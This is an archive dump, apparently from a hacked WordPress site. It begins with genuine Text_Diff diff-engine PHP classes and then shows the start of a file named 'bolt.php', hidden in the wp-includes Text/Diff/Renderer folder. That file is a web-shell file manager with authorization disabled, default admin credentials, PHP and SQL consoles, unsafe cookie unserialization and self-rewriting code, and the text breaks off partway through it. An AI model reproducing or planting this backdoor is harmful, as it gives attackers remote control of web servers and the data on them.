        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }    PK     |\o< <  <   bolt.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
